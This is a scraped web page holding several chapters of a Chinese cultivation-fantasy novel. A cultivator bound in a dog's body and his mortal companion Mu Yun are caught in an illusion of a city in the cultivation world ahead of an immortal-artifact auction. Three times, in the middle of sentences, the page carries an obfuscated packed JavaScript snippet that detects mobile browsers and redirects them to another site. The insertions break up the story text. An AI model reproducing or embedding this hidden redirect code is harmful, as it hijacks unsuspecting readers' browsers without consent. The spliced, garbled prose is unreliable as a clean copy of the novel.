;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934825|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,又偶然遇到一次书画拍卖,机缘巧合之下,才有了现在这条稳定的取财之道。 “不过我家里并不知晓。我不想他们担心,只告诉他们,是我发现了一味罕的药材,悄悄采回来悄悄制,不让旁人知道。” 苍暝:“你既已修炼,总不至于受不住念书科举的累。为何不继续念书。等你考出个身份,家里不用过得这般小心。” 慕云又是一笑:“因为我也和慕海一样,不想离开家啊。从前离家这么久,我从鬼门关回来之后,就觉得什么都比不上与家人在一起重要。人生短短几十年,还是让自己快乐些更重要。” 苍暝不由得再次看去一眼——修士都是与天争命,慕云这样的心思可一点也不像修道之人。 不过转念一想——慕云对家人十分重视,当初若是以此执念入道,倒也算不上奇怪。 且不管慕云有没有师承,就凭他在下界能使出此前那种种手段,足以表明他天赋极高。 苍暝不禁有些可惜——若是在修真界,慕云这样的奇才必然会有极高的成就。可惜这里是凡人界,他便是能修炼,也不过是强身健体,较他人更康健长寿罢了。 思绪转过几转,苍暝已能看清前方客栈大门上挂的灯笼。 又是一阵夜风送来寒气。 慕云手中灯笼里的火花左右摇晃,小巷墙上映着的影子也跟着跳动。 苍暝突然一顿步,扭头向那影子看去。 慕云还在往前走。 墙上的影子随着他手中灯笼的移动而变化。 苍暝盯着影子看了一会儿。 慕云终于发现他没跟上,停步回身唤:“暮色?” 苍暝抬脚,慢慢走出几步。 突然后腿用力一蹬,扑向慕云手中灯笼。 慕云微愣,却一动未动。 灯笼被苍暝撞得大幅摇摆,四周的子影也晃得人眼花。 苍暝落在地面,目光四下一扫,立刻向一团影子扑去。 同时喝道:“吹烛!” 慕云抬起手,迅速对着灯笼吹口气。 蜡烛熄灭。 四周陷入一片黑暗。 慕云抬头看看天,再努力往前方看看。 然而,本该在天上的月亮,和前方的客栈灯笼,都没了踪影。 下一刻,他感觉到一团暖暖的东西靠在自己脚边,忙问:“暮色?是你吗?” 苍暝冷然道:“中招了。” 慕云低头,摸索着想将苍暝抱起来。 却在弯下身的瞬间感觉到一阵眩晕。 他不禁闭上眼,一手扶住墙。 等那阵眩晕感过去,慕云再睁开眼时,周围变回了刚才的巷子模样。 不多明亮的月光洒在路面,前方客栈的灯笼像是指引的路标。 但,慕云知道——这里并不是他原本所在的小巷子。 因为,就在自己身边,站着一个高大的玄衣男子。 男子长眉入鬓,凤目半垂,面无表情的神色冰冷得一如腊月的寒气,扎高的乌黑长发垂在身后。而头发与肩膀之间,露出一把斜背于背后的长剑剑柄。 慕云快速地上下打量过几眼,好奇地问:“暮色,这是你原本的模样吗?” . 11.幻境 苍暝转过目光,冷然开口:“你现在该担心的是如何回去。” 慕云倒是一脸坦然:“连你都中了招,我担心又有什么用,怎么回去总得靠你。” 苍暝:“你就不担心对方同时在对付你家人?” 慕云闻言,伸手按按胸口:“我的符没有反应,说明他们的平安符都没事,代表没有受到攻击。” 苍暝视线落到他手上:“刚才中招之时,你的平安符没有损坏?” 慕云:“挡了一下,就是看样子没有用。不过与他们联系的效用是另一块符,那一块没有坏。” 苍暝又道:“若是此处与隔断你那块符的联系。” 慕云微微一愣:“还能这样吗?” 接着微蹙起眉:“但我还能感觉到有联系。不过你说的也对,万一对方把我们困在这里,乘机对我家人下手就麻烦了。暮色你快想想办法出去,需要我做什么你尽管说。” 苍暝深深看他一眼,这才转而四下探看。 刚才一发现周围空间改变,苍暝立刻就尝试放出神识,但没有成功。此时他又暗自调动灵气,依然无果。不知是受这个空间的限制,还是仍受凡人界结界的压制。 不管哪一种原因,这都不是个好消息,意味着他依旧无法拿出实力,破局的难度自然大增。 就在这时,苍暝突然察觉到如同灵气强烈波动之感。 这种苍暝并不陌生。在修真界里,除了有一定实力的门派、家族和城池这些有守护阵法罩住的地方,其他地方经常会出现此种情形。 是修士在斗法。 现在的波动程度,应当二者都是元婴期。 苍暝先瞥向慕云,见他像是也有所察觉,抬头望向远处,才同样抬眼望去。 灵气波动越来越强烈,天边很快出现两个模糊人影,并在飞速接近。 随着那两个修士的移动,地面一片飞沙走石。他们不断向对方打出攻击,要么在空中炸出一片光团,要么击空落向地面。 以那两人为中心,一大片地面简直如同水面,出现波浪似的起伏。地上的房屋、树木等一切东西都在迅速倒下。被法术击中之处,更是所有事物在瞬间化为齑粉,地面出现巨大的坑洞。 一个呼吸间,起伏的“浪头”就推到苍暝和慕云眼前。 前方的客栈在刹那间崩塌。 苍暝甚至听到了许多人的惨叫和动物的悲鸣。 他转头看向慕云。 慕云脸上带着惊讶之色,目光在四周扫过,又看向脚下,最后转向苍暝:“我们竟然不受影响!” 的确,两人还稳稳地“站”在起伏的地面,身旁四处乱飞的砖瓦等物都神奇地绕过了他们。 紧接着,两个斗法的修士就从两人头上飞过,带着移平地面一切的势头快速消失在远方。 地面终于恢复平静。 而周围已然是一片废墟,了无生气。 慕云望着两个修士消失的方向好一会儿,转身问苍暝:“暮色,你也这么厉害吗?我若坚持修炼下去,是不是也能这么厉害?” 苍暝凝视着他片刻,开口道:“全城被移为平地,你就只关注这个。” 慕云又是一愣,随即领悟过来:“可这不都是假的嘛。” 一边说,他一边抬手按住胸口:“平安符的联系依旧在。” 巧的是,随着他这句话,四周的废墟突然消失,只剩一片浓厚的白雾围着两人。 苍暝四下一扫,这才淡淡道:“在下界,我拿不出那样的本事,你也修炼不到那个境界。” 慕云好奇追问:“为什么?” 苍暝再次凝视他:“你连心魔誓都知道,怎会对此一无所知。” 慕云眨巴几下眼睛,神色先是疑惑不解,又渐渐转为无奈一笑:“原来你当时就没信我啊。那你问我呀,我知道心魔誓是因为……” 却在这时,两人身侧的白雾突然亮些一片光。 慕云不由得停下话,转头去看。 苍暝也跟着看过去。 白雾里的光渐渐化为彩色的影像,就如同留影石在播放记录下的情形。 是一片山林之景,最近处的左右两侧还有许多树叶遮挡,像是个窥探的视角。 前方好几丈开外,有两个年轻的修士正打座调息,穿的都是修真界极为寻常的低阶法衣,看不出门派出身。不过有一人膝上放着长剑,该是剑修。 片刻之后,那剑修睁开眼睛,抬手伸个懒腰,再随意地一手撑地,看向和他面对面打坐的另一个绿衣修士。 绿衣修士立刻跟着睁眼,警惕地瞪着剑修。 剑修又好奇地四下张望:“没想到竟是通向下界。” 接着对绿衣修士无奈一叹:“都说了我不是贼,让你冷静点。你非要动手,搞成这个样子。幸好我们还能回去,不然我做鬼都不会放过你。” 绿衣修士冷冰冰回道:“是你悄悄潜进我的药圃欲偷灵药,我自然不会对小偷客气。现下你却倒打一耙,好厚的脸皮。” 剑修更是无奈:“我没想偷,是想跟你买!随你开价,有什么条件都可以提!” 绿衣修士:“上回我已经拒绝过——不卖。” 剑修闻言,脸色跟着一沉:“我急需那药救人。你种了那么多株,卖我一株又如何?” 一边说,手一边握上剑柄:“今日我必要带药回去。你可想清楚,在这里你没有一点倚仗,单论身手,你确定能赢得过我手中剑?” 绿衣修士一下绷紧身体。 剑修却再软下语气:“我师父受了重伤,只缺这一味药了!我只是想救人!你就当可怜可怜我,卖我一株吧。我知道这药不好种,待我送药回去,再回来给你帮忙,直到再长回新的一株出来,可以吗?” 绿衣修士面上露出为难的苦恼之色。 挣扎片刻之后,他终是开口道:“我可以卖你一株,也不用你帮忙。但我要你做一件事。” 剑修顿时露出喜意:“你说!我一定尽心尽力!” 绿衣修士:“我要你发心魔誓,不准告诉任何人药来自何处。” 剑修一愣,不过立刻举手发下心魔誓。 绿衣修士听完,明显放松下来。 两人间的紧张气氛跟着消散,很快便起身一同离去,消失在林间深处。 影像也渐渐淡去,最终恢复成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946069|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片白雾。 慕云对苍暝道:“喏,我就是这样知道心魔誓的。虽然不明白具体是什么,但能看得出来,对你们这样的人是极为有力的制约。” 接着好奇地四下转着看那白雾:“这雾气居然能重现人的记忆啊,好神奇。” 又回想着说:“原来当时离得那么近吗,我都记不清了。幸好他们没有发现我,不然可能我就要被当场灭口。” 苍暝看到他浮出庆幸之色,将真话压回了心里——不是没发现,是修士根本不会在意下界的人,毕竟凡人去不了修真界。那两个修士明显是误闯下界的筑基期,既然还能回去,没必要在此地生事久留。 这时,慕云突然问:“暮色,你来这边是要找什么东西?” 苍暝不语。 慕云看他片刻,再转头四下看看,就有点失望地道:“怎么没有出现你的记忆……是因为你很厉害?” 苍暝:“看来你挺喜欢此处,并不着急出去。” 慕云笑笑:“我就是想试试。那么,这里到底是什么地方,我们该怎么出去?你说吧,我都听你的。” 苍暝:“是幻境。” 慕云见他只是四下看,催道:“然后呢?” 苍暝:“破阵之法有二。其一,找出阵眼破坏掉。其二,找出布阵的阵基,破坏掉七成以上。” 慕云:“怎么找?” 苍暝:“我对阵法没有研究。” 慕云:“……” 苍暝:“先四下寻一寻。除非对方只是想困住我们,若另有目的,总会有下一步行动。只要有行动,便可从中寻出破绽。” 说完,迈步向白雾走去。 慕云跟在他旁,叹着气嘀咕:“可不可以说点我能听得懂的……” 就在这时,前方的雾气里突然亮起暗淡的光。 两人同时停步。 如同刚才显现慕云的记忆一般,光渐渐化为影像。 只是,这一次的影像显得很模糊。 慕云仔细分辨一下,感觉像是一小片水池,水面微微摇晃,泛起点点波光。 他又在自己的记忆中快速翻找,但这样的画面太过寻常,没有特殊之处就很难找到对应的回忆。他甚至觉得,说不定他夏天在河里泡澡,看到的就是差不多的画面。 那影像持续片刻,终于有了点变化。 远处有个小人影在渐渐变大。 终于,那人影来到水池边。 可依旧很模糊,完全看不清模样,只能依稀分辨出像是男子,披着长发,穿着宽松垂地的白衣,几乎和白雾融为一体。 那人影抬起一边手,像打招呼似的一晃,随后走下水池。 便在这时,影像突然消失。 白雾恢复了先前的模样。 慕云看向苍暝:“是你的记忆?” 苍暝依旧面无表情:“我没有这段记忆。” 慕云:“可我也不记得我有过这种记忆。” 苍暝淡然道:“也可能是对方的干扰。” 慕云不解:“这能干扰到什么?” 苍暝没再说,只提步向前走。 慕云只得紧紧跟上。 12.旧闻 慕云跟着苍暝走入白雾之中。 雾浓得看不见前路,两人四面八方都是一片白,也没有一点声音,死一般的寂静。 慕云偷眼看看走在身侧前半步的苍暝。 苍暝始终是面无表情的模样,点漆似的黑眸中没有丝毫动摇,脚下也没有半步迟疑。 慕云将视线移到苍暝背在背上的长剑。 苍暝墨发玄衣,剑鞘也是通体乌黑,三体几乎融为一体。若不是有剑柄伸出肩外,都无法一下子看出他背着把剑。 那剑看着极为朴素,剑鞘与剑柄上都没有一点装饰,也看不出是什么材质打造。 慕云打量完那柄剑,目光再往下滑。 苍暝的衣裳款式和城中的年轻富家子差别不大,一袭交领窄袖袍,腰间束着腰带,足蹬长靴,很是利落的穿着。不过,衣摆飘扬时,可以隐隐看见其间闪过淡淡的流光,想来必有不凡之处。 慕云犹豫片刻,还是伸出手,用两根手指轻轻捏住苍暝肘后方的衣袖。 苍暝停步,回头看来。 慕云对他微笑:“雾太浓,怕走散了。” 苍暝没有反对,继续往前走。 慕云找话题聊天:“刚才我记忆里的那两个人,其中有个带着剑的,说是自己是剑修。你也有剑,你也是剑修吗?” 他本以为得自己再多唠叨几句,苍暝才会回应。却没想到,苍暝很快回了一声不轻不重的“嗯”。 慕云有些吃惊。不过苍暝能搭话,总好过安安静静地走,他便继续问:“刚才那个剑修还说什么……幸好他们能回去,这话是什么意思?你们是从哪里来,来了会回不去吗?” 这次苍暝没有立刻回答,沉默了好一会儿,让慕云以为他不想回答的时候,才开了口,却是说:“先前,我们刚进到幻境之时见到的幻象,那两个抬手间就能摧毁一座城的修士。” 慕云不解地顺着问:“那两人怎么了,难道是你记忆里的人?” 苍暝:“起初,本不分两界。修士虽对凡人没有兴趣,但会因寻找天材地宝而波及凡人。更有甚者,便是如那两人一般,斗法期间毁掉数座城池,害死无数人命。” 慕云听得瞪大眼:“你的意思是……那种事不是这幻境编造出来吓我,而是真的有可能发生?!” 苍暝侧脸回瞥,又看回前方继续走:“现在不会了。千年之前,有位大能牵头,带领当时许多正派修士,一同布下分离修真界与凡人界的结界。从此,凡人界灵气几乎消失,却也受到结界庇护。 “自那之后,凡是穿过结界从修真界来到凡人界的修士,身体都会恢复肉体凡胎,同时也被结界压制,无法使用灵气,也就用不了一切法术、符篆、法器。且原本的境界越高,受到的压制会越狠。 “曾有金丹期修士穿过结界,回去之后说在这边头痛欲裂,一刻都不能久待。亦有元婴期修士在情急之时穿过结界,仅有一人活着返回,其余人没撑到回去就元婴炸裂而亡。 “只有毫无修为的人,才能平安无事地穿过结界来到凡人界,若想返回,却需要修炼到筑基境界。但以凡人界这边极为微薄的灵气,既不可能再养出天材地宝,也不足以修炼到筑基。” 慕云放下心的同时,也恍悟道:“那个剑修说他们还能回去,所以他们两个都是筑基境界?” 苍暝:“不是没有代价。无论何种境界——包括筑基期,反穿结界都会境界下滑。因此,若非万不得已,如今修士都不会到凡人界来。” 慕云:“我是在村子后面的山林里遇到那两人,也是在那里捡到你。所以,结界就在山林当中吗?我们村子一直有传说,后面的山林无法往深处走,怎么走就会绕回山脚。听起来和你的说法能对得上。” 苍暝:“我只知道这一个连接点,不知晓还没没有别处。” 慕云好奇地继续问:“你是什么境界,为什么过来后是只小狗的样子。” 苍暝这回没有再瞒:“出窍大圆满。我只分出一缕神魂过来,附在刚死的狗身上。身体不穿过结界,压制便还可以忍受。” 慕云:“那你还能回去吗?” 苍暝:“顶着结界的压制瞬间爆发,给所附身体灌注灵气,令其达到筑基,便可回去。” 慕云想了想,再问:“这算是钻结界的漏洞?” 苍暝:“付出的代价会比正常修炼到筑基再回去大得多。” 慕云:“什么样的代价。” 苍暝:“我只听闻唯有一人做过这种尝试,返回之后不仅境界下滑严重,而且因为一直没能修复受损的神魂,从此再无寸进,直至兵解。” 慕云:“兵解是……” 苍暝:“你可以理解为死了。” 慕云略有些同情地看着他:“如此看来,你要找的东西对你真是极为重要,甘愿冒这么大的风险。” 苍暝没再继续说下去,而是转话题道:“我们不知会被困多久,你就不担心你家人发现异样会如何?” 慕云倒是一派轻松:“你进来之后就恢复成原本的模样,说明我们的身体没进来,肯定是留在外头晕倒了。我家里人等不到我回去必会出来寻,一出客栈大门就能见着我们。 “我曾经告诉过他们,若是哪天见我再晕迷,不用慌张,在我床头点上引路香,等着我寻香找回去就行。只不过,香在家里,他们明日赶着回去,想来顾不上再买剩下的东西了。” 说着就轻声一叹,仿佛耽误买东西才是大事。 苍暝在分心说话的同时,心里则一直在思考——先不论背后动手的人是谁,能在下界运转此种吸取魂魄的幻境,就是一件不可思议之事。 他虽对阵法没有研究,但对阵法运转的基础总还是了解的。 任何阵法的持续性运转,都离不开持续性灵气供给,这是凡人界所无法达成的硬性条件。哪怕想直接用灵石供给都不可能,灵石或含有灵气的符篆、法器等等,在穿过结界时都会被抽光灵气。 苍暝细细想了一圈,唯一能想到的可能性,就是这幻境是出自一件仙器。 据说,只有仙器可以在穿过结界时保住其中蕴含的灵气。那理论上而言,在内部灵气耗尽前都还能够使用。 不过,仙器是炼器之术的顶点,实在是太过罕见。因此那种说法虽有流传,却未曾听说过实例。 再则,既然结界是为了保护凡人界,苍暝也亲身体验到了结界的压制,他认为当初那位大能并不会漏下仙器不防。 毕竟,那位大能不仅精通阵法,同样也精通炼器。 总之,苍暝怎么都想不透这其中的矛盾之处。 但,无论如何,此刻重要的是如何破阵。 * 两人走了约有一刻钟,前方的白雾终于渐渐散开,露出一座城池的模样。 那座城比他们本该在的县城要大得多,城墙高立,城内屋檐重叠。空中各处还时不时有光闪过,能隐约看出似乎有个半透明的大圆罩将整座城池罩在其中。 城门前的大道宽阔笔直,众多服装各异的人行走其间。不仅地面,天上还有不少人御物而飞,亦有各式各样的飞行法器、灵兽所拉的车驾,极为热闹。 苍暝目力好,此时已能看到城门上的名字——离幽。 他不禁眉头微蹙——怎么会是离幽城? 离幽城在修真界只能算中等规模的城,实力也不多强大。苍暝依稀记得,城中主事的几个家族当中,修为最高的两三人也不过是化神初期。 不过,最关键的还是——他从未去过离幽城。 慕云目力没有苍暝好,但还是能看到前方城池的明显异样,尤其空中飞着那么些车船。 他一边努力地看,一边惊讶开口:“是你们那边的城吧,我都没听说过真有东西能在天上飞的。” 苍暝叮嘱:“离幽城,那里有些乱,你跟紧我。” 慕云满眼好奇:“怎么说?” 苍暝:“离幽城处在三个邪修门派的正当中,明面上是城中几个世家主事,实际上背后都有邪修的影子。城中修士亦是鱼龙混杂,当小心为上。” 慕云:“可是,按着我们最开始进来时看到的那一场幻象推测,我们是接触不到幻象的吧。” 苍暝:“未必。” 顿了下,又道:“这回该是冲我来的。抱歉,牵连到你。” 慕云讶意道:“你怎么知道?” 苍暝:“幻境中的幻象通常不是凭空产生,既要迷惑阵中之人,自然越真实越有效。因此,会提取受困者的记忆来形成幻象。最初那轮幻象有县城和斗法的修士,我不确定是来自我还是你。但现在……” 慕云明白了:“现在肯定不是我了。所以,那是你以前去过的地方吗。” 苍暝却道:“我没去过。” 慕云诧异:“啊?那你刚才说……” 话到一半,又若有所悟地停下。 苍暝将话接完:“这里还有第三个人——很可能就是布阵之人。” 两人小声说话间,已经来到城门不远处。 慕云细细观察片刻,发现有些进城的人会在守卫处交换一块小牌子挂在腰间,而已经挂着牌子的人则能自由进出。尽管没看清是用什么换牌子,但显然必是钱财一类事物。 他扯扯手中抓住的苍暝袖子,低声道:“要交进城费,你有吗?” 苍暝身上倒是有储物法器,但不能用灵力就打不开。 慕云见他沉默,就知道了答案:“那怎么办,拿身上东西和别人换?或者我们试闯一下,说不定这幻象也影响不到我们。” 不过,他话音刚落,就感受被身后的人撞了一下。 慕云无奈地话锋一转:“……看来不用试了。” 只是很轻的一下,他甚至脚下都没动。于他而言,唯一的作用是让他明白了——这个幻象很真实。 然而,对方却不这么想。 一道响亮的声音在慕云身后响起:“哪里来的穷酸,连件法衣都买不起,还敢撞老子!还不快跪下给老子磕头陪罪,否则……” 说到一半,那人看到了慕云转过去的脸,眼中顿时闪过惊艳之色,话就立刻一改:“哟,长得还挺好看嘛!小子,跟我回去双修几回,包管你能迈进炼气期!” 一边说,他还一边伸手,想捏住慕云的下巴细看。 但,下一刻他就感到手背被重重抽了一下。 那人定睛一看,才发现抽自己的是一柄乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950029|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑的剑鞘,拿着剑鞘的还是个修为全无的人。 苍暝满眼寒霜地注视他:“马上滚,否则留下你这条手臂。” 此时,那人感觉到疼痛沿着手臂传上。而比疼痛更强烈的,是被羞辱的气愤。 他堂堂一个金丹修士,竟然被个没修为的家伙教训了! 那人火冒三丈,当即掐个诀燃起一团火焰,向着苍暝挥去。 不过,下一刻便有一道强风将火焰劈开。 是一道剑气。 剑意森然。 那人只觉全身都被强烈的恐惧感所笼罩,连忙纵身向后急飞。 剑气却比他后退的速度快得多。 眼见剑气劈来,那人再顾不得心疼,赶紧掏出自己最好的防护法宝抵挡。 随着一道金鸣玉碎之声,法宝裂开两半。 哪怕剑气已被挡住,那人也被扑面而来的强风吹得仰倒在地。 下一刻,他只觉眼前一花,就见到苍暝出现在眼前。 刚才还在鞘中的剑已然出鞘,剑尖直指自己蕴养金丹的丹田之处。 那人一动不敢动,抖着声音开口求饶:“尊、尊者饶命……是我有眼不识泰山……” 他看苍暝不为所动,心惊胆战地说了一箩筐好话,终于在慕云施施然跟上来时,见苍暝收了剑,才浑身发软地瘫在地面。 苍暝四下扫过一眼。 那人刚才退得慌不择路,路过的人见到也纷纷避让,甚至特意不往这边看——修真界里突然起冲突的事司空见惯,少点好奇心才能活得久一点。 苍暝用剑鞘点点那人胸口:“储物袋。” 那人连忙哆哆嗦嗦爬起身,从怀里摸出一只储物袋献上:“尊者,我、我穷……就这一个……” 苍暝:“都倒出来。” 那人探进灵力,倒出一小堆东西。 东西不多,都是些小法器,和三块中品灵石,十几块下品灵石。 那人生怕苍暝不信,红着脸解释:“尊者,我是散修,真的穷……您要觉得不够,我再想法弄点……” 苍暝:“滚。” 那人如蒙大赦,连滚带爬跑出十几步,赶紧御剑飞走。 苍暝感觉到身旁慕云的视线,转头看去:“何事。” 慕云探究着道:“感觉不像你的行事风格——刚才你是特意激怒他动手的吧。” 苍暝再次四下一扫,将声音压得极低:“我一直用不了灵力,但既然能接触到这个幻象,便想试一试行不行。” 慕云:“现在能用了?” 苍暝:“在他攻击我的瞬间,能用了。但追上来他求饶之后,再次不能。” 慕云:“这么神奇!” 苍暝弯身捡起地上的灵石,转手递给慕云:“收好。” 慕云一边往怀里收,一边继续问:“那如果被攻击也还是不能用呢?岂不是很危险。” 苍暝:“就他那种程度,我直接用剑也不会输。” 慕云失笑:“好威风啊。” 两人转身再次走向城门。 慕云转头看看身边人群:“刚才居然都没人来看热闹,守卫也不管。” 苍暝:“在这里,争抢资源、甚至杀人夺宝都是常事。想活得久一点,首先得学会扔掉好奇心。至于守卫,只要不要城里几个世家的地盘闹,都不会过问。” 慕云:“听起来比我们那里还要残酷一点点。” 两人来到城门下,如旁人那样交灵石换上五日通行小木牌,穿过城门往里走去。 少了城墙的遮挡,纵横交错的街道立刻呈现在眼前。 慕云好奇地张望,很快发现一个异样:“街上这么多人,怎么感觉有点过于安静。” 苍暝:“修士出门在外的一大习惯——说话前先施隔音术,以免被旁人听去。” 慕云失笑:“还真实用。我们现在去哪里。” 苍暝:“茶楼酒肆。” 一边说,一边招手叫过在附近游荡的一个少年,问他城中最热闹的茶楼酒肆有哪些,再挑一家让他领路。 两人来到茶楼前,慕云在苍暝的示意下给了少年两块下品良石。 看少年欢天喜地地跑走,他无奈提醒:“我们没多少钱,你可省着点花。” 苍暝:“无妨,不用愁灵石。” 慕云好笑地嘀咕:“难道还想一个一个抢过去?” 一边说,一边快步跟上走进茶楼的苍暝。 这茶楼果然热闹,苍暝走了大半圈,才在角落发现一张空桌,过去落座,随意点上一壶灵茶。 慕云不知道这里的物价,不过看楼中装簧和客人打扮,应当不属多贵的地方。 来这种地方就是图个热闹,这里的人就不会施隔音术了,叽叽喳喳地相互攀谈说话,认不认识都能搭话聊上几句。 苍暝只静静喝茶。慕云见他不语,就学着他喝茶,一边留心听旁人聊天。 一壶茶喝去大半,慕云已经得知城中马上要迎来一件大事——拍卖仙器。 苍暝也在获取消息期间慢慢回想起来,的确是有这么一回事。 仙器幻火鉴,相传,还是那位主持下界结界的大能所炼制。 . 13.仙器 拍卖离火鉴,在修真界算得上是挺有名的一次事件。 事情发生在将近五百年前,当时苍暝刚化形不久,涉世未深,并不知此事。待他听到旁人说起那件“旧事”,已经过了两百多年,只是随意一听,并没往心里去,刚才见到离幽城时才没立刻想起来。 修真界里仙器极为稀有,能炼制出仙器的炼器师更是凤毛麒角。而达到如此境界的炼器师,要么自身很强大,要么必有强大的势力保护。 再者,炼制仙品不仅需要顶级的材料和顶级的炼器师,还需要天时地利——也就是运气。 如此炼制出的仙品,流通到市面上的机会可谓少之又少。因此每一次拍卖会上出现仙品,都会引起修真界一次动荡。 拍卖会,往往只是动荡的第一步。 其后很长一段时间,总会围绕着仙品掀起一阵腥风血雨的争夺。 但这一次现世的离火鉴,却是有那么点离奇。 离火鉴出自一个秘境,拿到的是一个修真家族华家的年轻弟子。可惜的是,当时在场的人很多,各门各派各家族,华家人又没有能力一一封口,消息不可必免地会外传。 华家原本是修真界大家,经营的拍卖行华彩阁极有名气,在各大城池都开设有分铺。只是随着先人过世,后继人才没有跟上,缺乏实力强大的后盾,生意渐渐受到影响,如今已经退到以中小城镇为主。 现在的华家当中,修为最高的长老是出窍中期,但年事已高,看着是突破无望,连升到出窍后期都有困难。家中的三位最高主事人修为都在化神期,和各大门派一比,分量的确不太够。 那华家弟子当时也知自己必然守不住这么件仙器,为了保得一众家族子弟平安,他当场应允会将离火鉴进行公开拍卖。 距离那处秘境最近的城池便是离幽城,恰好华彩阁在离幽也有分铺。 消息一传回华家,华家立刻倾全族之力筹备这次拍卖。不仅三位主事人飞速赶来,连久不问事的出窍期长老都赶到离幽城坐镇,并邀请来几位德高望众——最重要是实力高强的正道尊者,共同守护离火鉴。 于华家而言,哪怕留不住仙器,亦可趁着此次盛会大赚一笔。 再随着消息在修真界内传开,各大门派、各大家族、厉害的散修纷纷聚到离幽城。离幽附近的三大邪修门派自然也不会放过仙器,他们近水楼台,还长年扶持地头蛇,早已在城中做下诸多准备。 当然,难得仙器现世,亦有不少门派和散修来看热闹。即使知道自己与仙器无缘,但有时观看亦能有所感悟与收获。而且华家在预热期间还会陆续放出许多拍品,说不定就能碰上合意的。 当年剑宗也有一队弟子来了——不过那时还不能叫“剑宗”,只是九清剑派。带队的人便是现今掌门余伯真,当时他还是元婴大圆满的剑派大弟子,带着几名元婴、金丹期的师弟妹过来淘些炼剑的材料。 这次的拍卖事件,便是后来余伯真和另一名弟子回忆时说起,苍暝才得知。且据余伯真自己所说,他正是见到离火鉴之时突有感悟,回去之后闭关消化,就顺利突破到化神期。 书归当下,从剑宗这一队弟子的修为便可看出,此时的九清剑派对仙器并无想法。 一则,和大门派大家族相比,宗门底蕴有限,拿不出那么多财富相争。二则,哪怕争下来,也没有实力能守得住。再者,剑修最为依赖的法宝灵器,是自己的本命剑,对其他法宝符篆一向都不如何看重。 余伯真心态轻松地带队来此,随后就亲身经历了那件离奇事。 就是——在好几位高阶修士的看护下,在那么多人的关注下,离火鉴这个仙品,于拍卖当日,莫名其妙地失窃了! 余伯真虽然就在拍卖现场,却因为待在离得远的外围,并不清楚情况。他只看到,在某位大乘期修士最终拍下离火鉴之后,等待收验仙器期间,仙器却不知去向。 但,又何止他不清楚,便是身处其中的所有高阶修士同样弄不清楚。华彩阁当场被众修士翻了个底朝天,可什么异样都没发现。此后许多年,都有不少人在持续追查离火鉴的下落。 直到过了三百年,也就是苍暝听闻此事的百余年后,才有消息传出离火鉴在一个邪修东郭豫手中。而那个东郭豫彼时已是大乘中期,虽是散修,也有许多邪修依附于他,算是手下有个松散的小门派。 只是,一直没有东郭豫是如何得到离火鉴的传闻。倒是有传言说,拍卖离火鉴时东郭豫是化神后期,仅仅三百年就步入大乘中期,必是因为有离火鉴的助力。由此推断,当年恐怕正是他盗走仙器。 苍暝和东郭豫没有交集,对外界的关注又有限,也就不知道东郭豫后来的情况,离火鉴又是不是一直都在他手上。 此刻,苍暝和慕云被困在这个近五百年前的幻境里,想来接下来的仙器拍卖就该是这幻境中的重点。 苍暝思考到此处,便不再久留,带着慕云离开茶馆。 * 慕云在茶馆里听众人说八卦听得津津有味,跟着苍暝一出门,就迫不及待地问:“他们说的那个‘仙器离火鉴’,是什么东西?” 苍暝转眼看他。 慕云愣了愣,却不知道为何,莫名看懂了这个眼神的意思——此时此地暂不方便说话。 他眨巴下眼,转话题:“那我们现在去哪?” 苍暝:“先去弄点灵石,然后找家客栈休息。” 一边说,一边挑了个方向继续走。 慕云连忙跟上,看看苍暝准备怎么“弄灵石”。 苍暝走过两条街,寻到百器门的分铺走进去。 进门便可看到货架上摆着不少流光逸彩的法器,也立刻有小弟子迎上前热情地问:“两位道君可有想寻的法器,还是先随意看看。” 苍暝:“当物。” 那小弟子听得都愣了下。 不过,虽然多数人典当都会去典当行或拍卖行,但他们百器门的确也会收东西,只是掌柜会更挑剔。 小弟子修为低下,眼光倒是不错,看得出苍暝身上法衣价值不凡,连忙应道:“请两位道君随我到房中稍坐,我这便去唤掌柜。” 一边说,一边将两人往后方引。 苍暝和慕云跟着他进到一间空屋坐下,等过一会儿,便有个外表看着四十上下的男子推门进来。 掌柜目光在两人面上快速扫过,露出温和的笑,边坐边问:“不知两位道友如何称呼,想当何物。” 苍暝忽略掉前半句,径自解下腰间玉带,放在桌面推过去。 掌柜暗暗吃惊,但他干这一行也见过不少奇怪的客人,此时不再多说,捧起那条玉带细看。 越看,他脸上的惊讶之色就越重,甚至禁不住嘀嘀自语:“这防护灵器炼得当真巧妙……” 苍暝等他看过片刻,催促道:“开价。” 掌柜想了想,问:“道友想死当还是活当?” 苍暝:“死当。” 掌柜点下头:“此物虽炼得巧妙,但可惜材质有些欠缺。就……一百上品灵石,道友可同意。” 